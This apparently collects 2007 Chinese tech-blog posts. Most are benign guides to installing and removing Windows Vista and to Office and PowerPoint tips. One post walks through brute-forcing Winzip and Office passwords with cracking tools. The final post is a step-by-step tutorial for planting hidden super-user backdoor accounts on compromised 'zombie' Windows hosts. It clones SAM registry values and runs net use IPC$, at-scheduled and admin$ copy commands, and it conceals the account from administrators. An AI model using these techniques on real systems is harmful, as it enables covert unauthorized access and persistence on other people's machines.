电脑通

Windows Vista 系统安装

2007-01-30T22:14:00.002+08:00

第一章安装、升级与卸载

　　1.2 安装Windows Vista

　　1.2.1 硬盘分区、驱动及其他

　　硬盘分区

　　Windows Vista可以安装在主硬盘分区或扩展分区上，但需保证硬盘具有12-15GB的分区(对32位的x86平台)或10GB(对64位的x64平台)。建议为Windows Vista准备25GB以上的硬盘分区，当然，分区越大越好。

　　Windows Vista必须安装到NTFS分区。在之前的Windows Vista测试版本中，曾有人发现当将Windows Vista安装到扩展分区而启动分区(主分区)使用FAT32格式时，系统有时会出现不可预知的错误，不过，Windows Vista RTM已经修正了大多数问题，至少在Vista天地的安装测试中未发现同样的故障。但是，为了充分享受Windows Vista带来的功能增强，特别是提高的安全性，强烈建议所有的硬盘分区均使用NTFS格式。

　　注意：Windows Vista中的NTFS文件系统使用了更新的版本，因此，使用第三方工具软件如Partitions Magic建立的NTFS分区可能会导致Windows Vista出现严重错误，因此，为硬盘分区时不要使用这些未通过Windows Vista兼容性测试的第三方软件，可通过Windows XP中的磁盘管理器或在安装过程中由Windows Vista安装程序来创建分区。

　　驱动程序

　　Window Vista能够支持绝大多数的SATA硬盘驱动器，因此，如果您使用SATA硬盘，在安装Windows Vista时不必再象之前安装Windows XP那样，必须在安装过程中使用软盘来安装SATA驱动了。

　　如果您使用RAID(阵列)配置，那么也许仍需在安装过程中添加驱动。同Windows XP安装过程中按“F6”类似，Windows Vista在安装过程中提供了一个名为“加载驱动程序”的选项，所不同的是，不再限定只能通过软盘安装，相应的驱动程序可以使用包括软盘在内的多种载体，如CD/DVD、U盘、外置硬盘甚至记忆棒等。

　　请注意尽量只在Windows Vista安装过程中安装必要的SATA/RAID驱动，而不必将所有的驱动都放到系统安装过程中来加载，那些可以在安装进程结束后再行安装。

　　需要注意的是，对Windows Vista x86版本，可使用之前系统如Windows XP中的驱动，只要设定其工作在Windows XP兼容模式下;而Windows Vista x64则要求加载的驱动必须具有For Vista的数字签名，否则将加载失败。

　　双重启动或多重启动

　　微软在Windows Vista中引入了全新的boot loader架构，这改变了之前使用多年的Ntldr严重依赖于硬件造成启动管理日趋复杂的窘境，能够让Windows Vista的启动/引导过程更加快速与安全。带来的不利一面便是，如果您希望在PC中同时使用多个操作系统，必须保证Windows Vista是最后安装的系统，不然，比如说如果在安装Windows Vista后再安装Windows XP，将会造成Windows Vista的boot loader被ntldr+boot.ini覆盖，导致Windows Vista无法启动。——如果实在需要这么做的说，请参考有关BCDEdit的相关介绍，重建Boot loader。

　　另一点需要注意的是，对于Windows Vista与XP/MCE的双重或多重启动配置，在启动XP后可能会导致Windows Vista系统还原点无法通过完整性验证，造成Windows Vista中自动创建的系统还原点丢失。

　　1.2.2 图解Windows Vista安装

　　与Windows XP相比，Windows Vista的安装更有效率，整个过程也相当简单——容易操作易于上手本就是微软产品的优势嘛——下面以图解方式简要Windows Vista的安装。(以全新安装为例，升级安装与此基本类似)

　　注：图片比较丑陋，原谅我们拙劣的拍摄技术。在未来适当的时候，我们将重新拍摄。

　　1.进入BIOS，设置光驱为第一引导设备，将Windows Vista安装光盘放入DVD光驱，启动系统。

　　2.与Windows XP全新安装过程中大量的文本界面不同，Windows Vista可以说全程使用图形界面，美观且易于操作。在完成初始安装文件的加载后，首先会出现语言选择的画面，对大多数用户而言，这里的选择肯定是：中文。

3.接着，便会出现开始安装的选项，需要注意的是，在这个画面中除 “安装须知”外还有“修复计算机”的选项，即当我们的Windows Vista在使用中出现问题时，可在此修改。

4.接下来便进入了输入产品序列号的步骤。需要注意的是，尽管Windows Vista安装DVD中包含各个版本的所有文件，但只有正确的序列号才能激活特定的版本。如果您只是打算测试使用或没有序列号，也可在此留空不输，Windows Vista提供30天的试用期，在这期间可以使用Windows Vista特定版本的全部功能，当然，期满后会工作于“精减模式”，比如无法安装应用程序、无法使用某些功能等。在序列号输入框下方还有一个联机时自动激活的选项。

5.如果输入了正确的产品序列号，安装程序会自动判断待安装的Windows Vista版本。如果我们只是测试之用，在上一步未输入产品序列号，则可在此选择待测试的Windows Vista版本。

详细介绍Vista安装的方方面面。

　　6.接受许可协议后，即进入安装方式选择的界面。不过，由于本示例中采取的是由光盘引导的全新安装方式，因此，事实上并没有选择，只有“自定义(高级)”一个选项。如果是从旧版本的Windows系统如XP中运行安装程序，则可在此选择“升级”安装方式。

7.既然选择是的“自定义”安装，那么，首先需指定安装位置。在此可以选择硬盘中的已有分区，或者使用硬盘上的未占用空间创建分区。需要注意的是，如果Windows Vista中集成的驱动程序不能很好地支持您的SATA/RAID设备，则需要在此加载相应设备的驱动程序。——Windows Vista不再是按“F6”后通过软盘加载的方式，目前可支持USB移动存储设备、光盘等多种载体

8.完成上面的设置后即进入正式的安装过程，期间系统可能要多次重启。

　9.如果在第7步中选择了“加载驱动程序”，则在第一次重启后会有一个补充驱动包安装过程，请注意，如果您要加载的驱动并不是专为Windows Vista开发，请在安装时选取合适的兼容模式。

10.再一次重启后，即进入了最后的设置步骤：建立用户，命名计算机等。需要注意的是，我们测试中仅设置了4位的管理员密码，这是不太规范而且存在很大安全隐患的作法。您在正式安装、使用Windows Vista时，请至少为管理员设置一个更“强壮”的密码。

为计算机设置一个唯一的名称，并选择喜爱的桌面背景——当然，也可以在安装完成后再行设置

11.设置安全选项，这里没什么好说的，最佳的选择便是“使用推荐设置”。

12.时间与日期设置，可从时区下拉列表中选择其他时区，更改当前日期与时间。

　　请忽视图中的2099年.

　13.如此，Windows Vista安装的设置过程即告完毕，接下来便是漫长的文件拷贝阶段，一般而言，文件拷贝大概需要20-25分钟。当然，根据配置不同，这个过程可能更长。

14.此后系统需再次重启，并进行最后的安装，不过，这之中没有什么交互的内容，我们所能做的只有等待。直到最终，出现登录界面时，安装即告完成。

　15.接下来，您便可以享受Windows Vista带来的丰富特性与强大功能了。

1.3 个人设置与用户数据的迁移

　　一般而言，当我们将系统平台从老版本的操作系统升级到新的操作系统时，要确保重要数据不受损失，最简单的解决办法便是在升级、安装新系统之前将这些数据备份出来，俟新系统安装完成后再拷贝回去。

　　不过，这种方式的问题在于，一旦用户在备份时考虑不周，便会导致备份不够全面，往往在无法弥补时才发现遗失了重要的数据;其次，这种方式只能保留用户的数据文件，如Word文档、个人图片等，但对于用户的系统设置如个人显示属性、文件夹与任务栏选项等则无能为力，用户在新系统安装完成后需重复进行原来在旧系统中已经进行过的设置，这是相当繁琐且没有效率的。

　　更稳妥、更有效的办法便是通过迁移。与Windows XP相比，Windows Vista提供了功能更为强大的迁移工具，其中，用于大型企业环境的用户状态迁移工具USMT升级到了3.0版，而针对个人用户的文件与设置迁移向导则更改成为Windows 轻松传送(Windows Easy Transfer)，帮助用户从旧版本的系统如Windows XP向Windows Vista转移系统设置与用户数据。

　　Windows Easy Transfer的使用教程可参考Vista天地网站中的迁移到Windows Vista的相关介绍，在此不再赘述。

卸载 Windows Vista

2007-01-30T22:14:00.001+08:00

在安装Windows Vista后，也许您会发现有些应用程序在Windows Vista中会出现某种问题————也是我们极力强调在安装Windows Vista前检查系统兼容性的原因——而想将系统回复到以前使用的版本，如Windows XP。Anyway，也可能出于其他原因，您想卸载Windows Vista，下面简要介绍一下Windows Vista的卸载方法。

　　Windows Vista是PC唯一操作系统时的卸载

　　对于PC中只安装Windows Vista一款操作系统的情况，卸载相对简单得多，备份重要的数据文件如Word文档、邮件等后，直接将硬盘分区格式化即可。

　　Windows Vista与其他操作系统共存时的卸载

　　前面我们介绍过，Windows Vista采用了Windows 2000/XP不同的Boot Loader，在安装Windows Vista后，硬盘的引导过程即由Windows Boot Manger (bootmgr)接管，因此，在双重引导/多重引导的系统中直接删除Windows Vista将会导致系统启动时因Boot loader丢失而失败。

　　下面以系统中同时安装Windows Vista与Windows XP，以双重启动方式分别引导进入各自系统的情况为例介绍Windows Vista的卸载方法。

　　Windows XP与Windows Vista安装在不同分区中的简单方法

以管理员帐户登录Windows XP，右键单击桌面上“我的电脑”图标，选择“管理”，在弹出的“计算机管理”窗口中选择“存储” => “磁盘管理”；
选中Windows Vista的安装分区，在右键菜单中选择“格式化”——当然，如果该分区中保存着重要的数据，请事先备份；
在运行对话框中输入“msconfig”，启动系统配置实用程序，然后选择 “BOOT.INI”选项卡，点击其中的“检查所有的启动路径”；
检查完成后点击“确定”、“应用”，这时系统会询问是否重启，应选择“退出而不重新启动”
接下来，在系统盘如C：根目录中查找如下文件，并删除之。——首先应设置文件夹的查看选项，设置能够看到系统文件与隐含文件。
Boot (目录)]
Boot.BAK
BOOTSECT.BAK
如果因权限不够而无法删除，请首先让管理员取得该文件或目录的所有权并设置删除权限。
　　然后重启计算机即可。

　　这种方式的操作相对简单，缺点则在于其并未真正完全清除系统中存在的Windows Vista安装，不过，在大多数情况下能够保证Windows XP的正常启动与运行。

　　复杂情况如Windows Vista与XP安装在同一分区或多重启动时的卸载

　　对于复杂的安装场景如多重启动或希望完全清除Windows Vista的安装，则需要使用Windows XP的故障恢复控制台。(更详细的信息与过程图解请参考使用故障恢复控制台修复Windows)

进入BIOS设置PC从光驱启动，将Windows XP安装光盘插入光驱，启动系统；
在出现安装选项的启动画面时，选择“R”进入故障恢复控制台；(说明：如果您的系统需要附加的SATA/RAID驱动，则应在出现此界面前按“F6”首先加载相应的驱动。)
选择要登录到的Windows XP系统，系统会给出相应的操作系统列表，输入正确的序号；
输入管理员密码，以进行修复；
运行“fixboot”命令，重写系统硬盘的引导信息；
输入“exit”退出故障恢复控制台并重启，此时，Windows Vista的Boot Loader已从系统中清除了。
启动进入Windows XP，如果您的Windows Vista安装在单独分区中，可按上面介绍的方法使用磁盘管理器直接将该分区格式化；而对于更复杂的情况，如Windows Vista与其他系统共用分区，则可直接将Windows Vista的目录或文件删除，如“Windows”、“Users”等目录；
同样地，按上面介绍的办法，删除系统硬盘根目录下的“Boot”目录和“Boot.BAK”、“BOOTSECT.BAK”文件以及“bootmgr”文件，至于回收站，可根据情况判断是否删除；
右键单击“我的电脑”，依次选择“属性” => “高级”=>“启动与故障恢复” =>“设置”，检查Windows XP是否为默认操作系统，如否，将其设为默认；
点击该页中的“编辑”按钮，这将使用记事本打开“boot.ini”文件，找到其中与Windows Vista相关的设置并逐一删除；
为安全起见，完成上列步骤后可使用“msconfig”检查启动项是否设置无误，按上面介绍的方法，在系统配置实用工具“BOOT.INI”页中点击“检查所有的启动路径”，出现“看起来所有BOOT.INI中的Microsoft操作系统行都正确”——相当别扭的一句话，估计按小学语文老师的标准，微软中国公司的部分人需要重修。 ——即大功告成。

在Office 2003中添加“我的位置”

2007-01-30T18:16:00.000+08:00

我们在Word、Excel等Office组件中打开一个已存在的文件或对新文件存盘(或另存为)时，会发现在“打开”或“另存为”对话框的左侧有桌面、我的文档、我的电脑等文件夹，如果能把我们自己常用的文件夹也添加到它们之中，显然会更方便了。怎么实现？
　　1、启动Word或Excel，单击菜单栏“文件”→打开(保存或另存为也可以)，(如图1)打开“打开”或者“另存为”对话框，在“查找范围”或“保存位置”框中选中准备添加的文件夹，单击工具栏上的“工具”按钮，再在弹出的快捷菜单中单击“添加到我的位置”就大功告成了(如图2)。这样再在Word、Excel等Office组件中的“打开”或“另存为”对话框中就会都显示出你新添加的文件夹

2、新添加的文件夹是排在最下边的，如果你觉得的它的“地位”有点低，可以右键单击添加出的文件夹，再在弹出的快捷菜单中单击“上移”来提高它的位置，不过不能心急一次只能提一格，需要多做几次。(如图3)

　3、如果某天发现添加的文件夹已经不再使用了，可以右键单击该文件夹，左键单击“删除”即可。

　　4、如果添加的文件夹有很多，下边的显示不出来，造成使用不便，可以右键单击任意一个文件夹，左键单击“小图标”就又能增加显示容量了。(如图4)

没有安装PowerPoint 演示文档照样播放

2007-01-30T18:03:00.000+08:00

不少朋友在他处播放幻灯片文件时，因所用计算机上未安装PowerPoint、或缺少幻灯片中使用的字体等等，而无法放映幻灯片或放映效果不佳。PowerPoint早已为我们准备好了一个播放器，只要在幻灯片制作完成后将文件打包，使用时用播放器来播放幻灯片将完全解除上述烦恼。
　　以PowerPoint2003为例，幻灯片完全设置完成后，单击“文件”菜单，选择“打包成CD…”打开该对话框。

在图中圈出的位置，输入打包后生成文件的名称。在默认情况下，该生成文件中含有PowerPoint播放器和链接的文件。若需更改，可单击“选项…”按钮，打开“选项”对话框。

从“选项”对话框中可以选择包含的文件、设置保护文件的密码、以及选择演示文稿在播放器中的播放方式等。播放器可以使没有安装PowerPoint的计算机能播放幻灯片;链接的文件可使幻灯片中链接的图片、声音、影片等在其它计算机上也能打开。如果选择了“嵌入的TrueType字体”，则可在其它计算机上显示幻灯片中使用的未安装字体。当然选择越多，生成的文件包越大。设置完成后，单击“确定”返回原对话框。

　　PowerPoint播放器还允许我们加入多个演示文稿。单击“添加文件…”按钮，在弹出的对话框中选择要加入的文件，添加即可。

通过右边的“添加…”和“删除”按钮，我们可以自由添加或删除演示文稿，通过左边上下的箭头改变演示文稿的播放顺序等。根据需要设置好后，单击“复制到文件夹…”按钮，根据提示将其打包存放到硬盘上。这时硬盘上会产生一个以该CD名命名的文件夹，里面存放着PowerPoint播放器播放时所需要的全部文件。

这时只要打开play.bat文件，播放器就开始自动按顺序播放包中的演示文稿了。如果在“选项”对话框中播放方式选择“让用户选择要浏览的演示文稿”，那么包中就不会出现play.bat这个文件，这时就要通过打开pptview.exe文件，然后再选择要播放的演示文稿。播放过程非常方便，单击鼠标的左键可进行下一动作;单击鼠标的右键，在弹出的菜单中可以指向任意一张幻灯片或打开包中的其它演示文稿。

　　我们只要将该文件夹复制到优盘或CD上，以后无论到那里，不管计算机上是否安装有PowerPoint或需要的字体，幻灯片均可正常播放了。

　　需要注意的几点，一是操作系统须Windows 98第二版及其以上版本。二是播放器不支持运行宏、程序或嵌入的对象等。三是链接的图形最好用.jpg等常用格式，有好多在PowerPoint中能支持的格式在播放器中却不能使用。

Office文件置入设计软件问题与对策

2007-01-30T17:58:00.000+08:00

将Office文件（如Word、Excel文件）置入设计软件时常会碰到不少问题，我收集了一些解决的方法，可能有不完全的地方，希望大家一起补充，提出自己的宝贵意见

　　1.请问如何将wold中的图、表格导入到AI中？
　　第一种方法：全选COPY，有些图形不可以拷贝，必要时可以在WORD输出PDF，在AI打开，复杂表格容易乱！
　　第二种方法：可以把Word里的文件粘贴到CorelDraw里，然后Cbrl+x，在用编辑菜单里的选择粘贴，选择粘贴图片，就可以对Word里的文件可以编辑了，然后导出Ai格式就可以了。
　　第三种方法：使用Pdf Writer打印机生成PDF文件，然后再Acrobat中用Touchup工具调用Illusbrator编辑页面，这就可以了，直接打开可能会乱掉。不过如果使用一些诸如文鼎之类的字体，还是会乱掉的。
　　
　　2.Word文档如何转换才能出菲林？
　　第一种方法：导进到Coreldraw中方法--在Word中选中需要的部分复制--进入到Coreldraw中--编辑选择性粘贴
　　Microsoft Word文档--如要在Coreldraw中编辑Word文档，双击就可以进行编辑。但文件要从排。
　　第二种方法：要么装个PS打印机，打印到文件，用PS文件出片，要么用Pdf Creater或者Distiller制成PDF。注意：Win200下面，PM脑衰，死活不可以转成曲线的。只好将双字节文字下载为位图，在Distiller里面精度设为2400或者更高。出片没什么问题了。
　　第三种方法：用AGFA打印机，打成PS，然后在通过照排机的RIP加角线，就OK了，需要说明一点就是，如果要在WORD中出四色，也可以，不过是RIP分色，分完色以后可能颜色有一点儿偏差。一般的尺寸“210*297”可以大部分的操作系统中打印，但是如果要改尺寸比如改成“210*285”就必须在WIN98的系统下才可以改。在别的系统中是不行的。
　　
　　3.EXCEL中的图表excel中的图表(有颜色)要调入到Coreldraw中，直接粘贴过来可不可以，是否需要经过一些特殊处理，如EXCEL中的颜色是RBG，要不要重新上色，或者其他工序等？
　　第一种方法：复制--选择性粘贴--Microsoft Excel 文档，在选透明度这前，当然得要画一个覆盖粘贴进来OLE对象的矩形，ALT+F3，选透明度滤镜，填透明度为100，填色为K100，勾选“冻结”、“移除面”，然后确定，再解散群组。再删掉不要的东西，再填CMYK的色。
　　第二种方法：如EXCEL文件不要改的话，其实最好的办法是EXCEL文件打成PDF，就直接可以输出了。
　　
　　4.word文件如何转换为PDF文件？
　　第一种方法：完整安装Acrobat 5.0(不是安装Acrobat Reader)，重新启动后，会有两个新的系统打印机，一个是Distiller，一个是PDFWriter，Word里面，将文件用PDFWriter打印机打印，将会生成一个PDF文件。
　　
　　5.客户拿来一个用word做的一本书来出片，但我把他的word文件拷到自己机器上在打开发现里面的字体都变了(我和他都是用的word2000),这是怎么回事，有办法把文档的字体恢复到原来的字体吗？
　　第一种方法：1。打印成PS文件，Adobe的PostScript驱动有时候是会掉字。想办法搞个数字印刷机用的的RIP驱动(基于Adobe Postscript)
　　2。使用Distiller生成PDF.
　　3。用PitStop把整个PDF转换成CMYK模式
　　4。出片
　　出现掉字和乱码要注意：如是直接打 PS 或者 PDF 就直接拿去 RIP 就可能会出现这样的问题，如你的 Word 里有数学公式符号时出现的频率更高(如不认真检查是不易发现的)。较稳妥的做法是再次蒸馏 PDF(即再次打印该 PDF 为PDF)，把 PDF 里的 TureType 字体转为 Type 1 后就很少出这样的问题了。一般常用 Distiller 打印机，用到的当然也是它自带的 PPD。
　　第二种方法：字库用的不一样，也就用在不同的机器上字体也就不同，要保证与原文件机器上的字库是相同的。置入到WORD里的彩色图是RGB色会容易出现这个问题，把颜色模式改为CMYK。
　　
　　6.复杂WORD数学公式怎样用于排版？
　　把word文件打印成pdf文件后，通过矢量软件转成矢量图，就可以用到飞腾软件中了。
　　
　　7.word表格和图表怎么在pagemaker中使用？
　　第一种方法：如果不用修改的话直接用word文件出片印刷呀。
　　还有就是把word文件转成pdf文件，然后再置入到pagemaker或ai中使用，不过不知道会不会文字跑位或乱码。
　　第二种方法：我也遇到过类似的问题，刚才按照上面的说的去式了一下，发现有的表格夺得不能植入。。。。。
　　后来我把要排的表格在word里面复制了一下，然后到PM里面选择特殊粘贴，选择第一个word文件，居然就把表格粘上了！而且双击粘上的表格图像还能回到word里面编辑~~~我觉得大家不防也照我的做法弄一下。

　　8.word怎样打印成镜像的pdf?
　　第一种方法：先设置好虚拟PostScript打印机的选项，输出为镜像，然后通过PostScript打印机打印到.ps文件，或者打印到.prn文件后改后缀名为.ps，再通过Distiller转换到PDF文件就可以了。
　　
　　9.word里怎么拼版？
　　第一种方法：WORD里不能直接拼版的，需要打印到PDF文件后再拼，如果都是黑白的，那么也可以单页出片，最后手工拼版也可以。
　　
　　10.请问扫描到的文字内容如何转入到word中进行编辑？
　　第一种方法：装一个OCR文字识别软件，紫光OCR，尚书OCR。
　　
　　11.从Word中拷贝多页文字粘贴到Coreldraw中中为什么只能粘贴首页的文字？
　　是分页的问题，选择“选择性粘贴”，作为“文本”粘贴。
　　
　　12.为什么word和publisher排版时插入的图片不能充满整张纸？
　　是打印机的问题，打印机不可能打满整张纸的，找台无边距打印的打印机或用A3机打印A3的再切成A4的。
　　
　　13.如何提取word中的图片？
　　第一种方法：打印到PDF后，在AB中将图片输出。
　　第二种方法：另存为web文件，图片就在新生成的文件夹内。
　　
　　14.如何在WORD中插入CAD？
　　先打开CAD，将其输出后再在Word中插入图就可以了，如果是立体的图，一般需要在CAD中用hide命令将其屏蔽后再输出。
　　
　　15.Word格式转换成矢量(印前排版)？
　　方法一：打开WORD，选中表格，复制。打开Coreldraw，粘贴，然后导出为AI格式。
　　如果你用Coreldraw排版，就再导进来，如果你用Freehand排版，也得导入。
　　注意：在WORD做表格的时候，一定要注意，不要超出页边距，不然，就有麻烦了。用PS排版的话，那你就用Coreldraw导出EPS格式，用PS直接打开就行了。
　　方法二：用Coreldraw的段落文字转曲线，用透镜、冻结等。
　　方法三：在XP中，选择添加打印机，选择本地打印机，打印端口LPT1，总之这里一直按“下一步”就行了，然后选择厂商Linobronic，打印机型号为Linobronic 530-RIP 30 v52.3(如果是98，没有这个型号的打印机，选择 Linobronic 530 52.3 这款也是一样的)。安装打印机完毕。
　　然后在Word中做好表格或者文章，选择打印，当然打印机就选刚刚安装的这款Linobronic 530-RIP 30 v52.3就行了，它会提示你“打印到文件“，让你输入文件名。随意起个文件名，这个文件默认的后缀名为prn。　　
　　打开Coreldraw9，新建文件，选择导入，导入刚才存的这个prn文件，参数按默认值就行了(选“曲线”，不要选“文字”) ，文件导入。问题解决。如果这个Word文档是多页的，我们会看到导入Coreldraw后也产生了很多页，每一页都与Word的内容丝毫不差。　　
　　同理，在Coreldraw中做好段落文字，选择打印，用这个打印机打成文件，然后再导入Coreldraw，就是非常好的曲线文字了。　　
　　添加虚拟打印机的好处还在于避开了所有软件的版本问题，感谢在网上提供这个方法的朋友，可惜我没记住他的名字，也不记得是在哪里看到的了，已经很久了。

找回丢失的密码之Winzip与Office密码

2007-01-30T17:56:00.000+08:00

Winzip 篇

Winzip是我们最常用到的压缩软件，它的密码保护功能可以为我们保护文件起到很大的作用，如果你的密码忘记了，不要着急，因为我们有uzpc。

uzpc是一款专门破解Winzip密码的工具软件，比起其他破解软件，uzpc最大的优点就是速度快。我实验了一下，破解一个6位的字母数字混合的密码，没到半分钟就搞定了(uzpc下载地址：http://download.enet.com.cn/html/070532000071508.html)。

1.启动uzpc，然后选择“任务→新的”，弹出选择破解文件窗口，找到需要解密的Winzip文件。

2.打开文件后，出现选择窗口，一般来说压缩包里的加密文件是使用同一密码的，不过也有例外的时候，就要根据你的实际情况来确定了。至于攻击参数的选择，就使用默认的“强迫”。

3.选择“下一步”之后，就会出现强迫攻击参数窗口，这里要回想一下，原来的密码大概是由什么组成的，然后选择相应的选项，如果实在记不起来了，就把“数字”、“大写字母”、“小写字母”都选择上吧。当然破解用的时间将会增加。下边密码的长度可以自行设定，软件默认为一到五位，但要记住一定不能小于原始密码的长度，否则破解将不能成功。一切OK后，点“开始”，uzpc便开工了，稍等片刻后，密码就又回来了。

Office 篇

Office是使用最为普遍的办公软件，工作繁忙的你，难免出现各种意外，比如对重要的Word文档加密之后却把密码忘得一干二净，这是最让人恼火和着急的了。别急别急，使用软件AOPR(全称Advanced Office XP Password Recovery 。下载地址：http://download.enet.com.cn/html/070532003080401.html)就可以把Office文档的密码很快找回来。我们就拿一个DOS文档做个演习。

1.安装上AOPR后，启动它，点击“File Name”右侧的打开文件夹图标，选择需要进行破解的文件。

2.“Type of attack”就使用默认的“Brute-force attack”，然后是设置密码的长度和组成字符。

3.设置好以后点击工具栏上的“Start recovery”开始破解。稍后(时间长短跟设置的密码长度和组成的复杂度有很大关系)，密码就成功破解了。

AOPR不光可以破解Word文件，它对Excel等Office软件产生的文档密码都可以进行解码，方法也大致一样。

Win2000 / XP 中多种建立隐藏超级用户的方法

2007-01-28T22:48:00.000+08:00

一、如何在图形界面建立隐藏的超级用户

　　图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好，但是较为复杂，还要用到psu.exe(让程序以系统用户身份运行的程序)，如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序，修改键值的权限时在右键中点“权限”来修改。对regedit.exe我想大家都很熟悉，但却不能对注册表的项键设置权限，而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINESAMSAM键下，但是除了系统用户SYSTEM外，其它用户都无权查看到里面的信息，因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下:

　　1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户

　　net user hacker$ 1234 /add

　　2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。

　　3、点“权限”以后会弹出窗口

　　点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。

　　4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。

　　打开键:HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$"

　　5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。

　　6、在命令行下执行net user hacker$ /del将用户hacker$删除:net user hacker$ /del

　　7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可

　　8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINESAMSAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。

　　9、注意:隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用“net user”命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。

　　二、如何在命令行下远程建立隐藏的超级用户

　　在这里将用at的命令，因为用at产生的计划任务是以系统身份运行的，所以也用不到psu.exe程序。为了能够使用at命令，肉鸡必须开有schedule的服务，如果没有开启，可用流光里带的工具netsvc.exe或sc.exe来远程启动，当然其方法也可以，只要能启动schedule服务就行。

　　对于命令行方式，你可以采用各种连接方式，如用SQLexec连接MSSQL的1433端口，也可以用telnet服务，只要以你能得到一个cmdshell，并且有运行at命令的权限就可以。

　　1、首先找到一台肉鸡，至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡，现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机，我将它的ip地址改为13.50.97.238,，请勿在互联网上对号入座,以免骚扰正常的ip地址。)

　　2、先与肉鸡建立连接,命令为: net use 13.50.97.238ipc$ "12345678" /user:"administrator

　　3、用at命令在肉鸡上建立一个用户(如果at服务没有启动，可用小榕的netsvc.exe或sc.exe来远程启动):at 13.50.97.238 12:51

　　c:winntsystem32net.exe user hacker$ 1234 /add

　　建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。

　　4、同样用at命令导出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下键值:at 13.50.97.238 12:55

　　c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers

　　/e 是regedit.exe的参数，在_LOCAL_MACHINESAMSAMDomainsaccountusers这个键的一定要以结尾。必要的情况下可以用引号将"c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers"引起来。

　　5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy 13.50.97.238admin$system32hacker.reg

　　c:hacker.reg

　　修改的方法图形界中已经介绍过了，这里就不作介绍了。

　　6、再将编辑好的hacker.reg拷回肉鸡上 copy c:hacker.reg 13.50.97.238admin$system32hacker1.reg

　　7、查看肉鸡时间:net time 13.50.97.238 然后用at命令将用户hacker$删除:

　　at 13.50.97.238 13:40 net user hacker$ /del

　　8、验证hacker$是否删除:用

　　net use 13.50.97.238 /del 断开与肉鸡的连接。

　　net use 13.50.97.238ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接，不能连接说明已删除。

　　9、再与肉鸡建立连接:net use 13.50.97.238ipc$ "12345678" /user:"administrator"

　　再取得肉鸡时间，用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:

　　at 13.50.97.238 13:41 c:winntregedit.exe /s hacker1.reg

　　regedit.exe的参数/s是指安静模式。

　　10、再验证hacker$是否已建立，方法同上面验证hacker$是否被删除一样。

　　11、再验证用户hacker$是否有读、写、删的权限，如果不放心，你还可验证是否能建立其它帐户。

　　12、通过11可以断定用户hacker$具有超级用户权限，因为最初我用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删的权限。

　　三、如果肉鸡没有开3389终端服务，而我又不想用命令行，怎么办?

　　这种情况下，你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能，你可以用regedt32.exe来为远程主机的注册表项设置权限，用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能，你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似，我就不多说了，只它的速度实在是令人难以忍受。

　　但是这里有两个前提:1、先用net use 肉鸡ipipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后，才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。

　　2、远程主机必须开启远程注册表服务(没有开启的话，你也可以远程开启，因为你有超级用户的密码了)。

　　四、利用被禁用的帐户建立隐藏的超级用户:我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:

　　1.想办法查看有哪些用户被细心的管理员禁止，一般情况下，有些管理员出于安全考虑，通常会将guest禁用，当然了会禁用其它用户。在图形界面下，非常容易，只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下，我还没有想到好的办法，只能在命令行下用命令:"net user 用户名"一个一个来查看用户是否被禁用。

　　2.在这里，我们假设用户hacker被管理员禁用。首先，我先用小榕的超组用户克隆程序CA.exe，将被禁用的用户hacker 克隆成超级用户(克隆之后，被禁用的用户hacker就会自动被激活了): CA.EXE 肉鸡ip Administrator 超级用户密码 hacher hacher密码。

　　3.如果你现在一个cmdshell，如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以，这时你只要输入命令:

　　net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的)，当然你也可以将用户hacher换成其它的被禁用的用户。

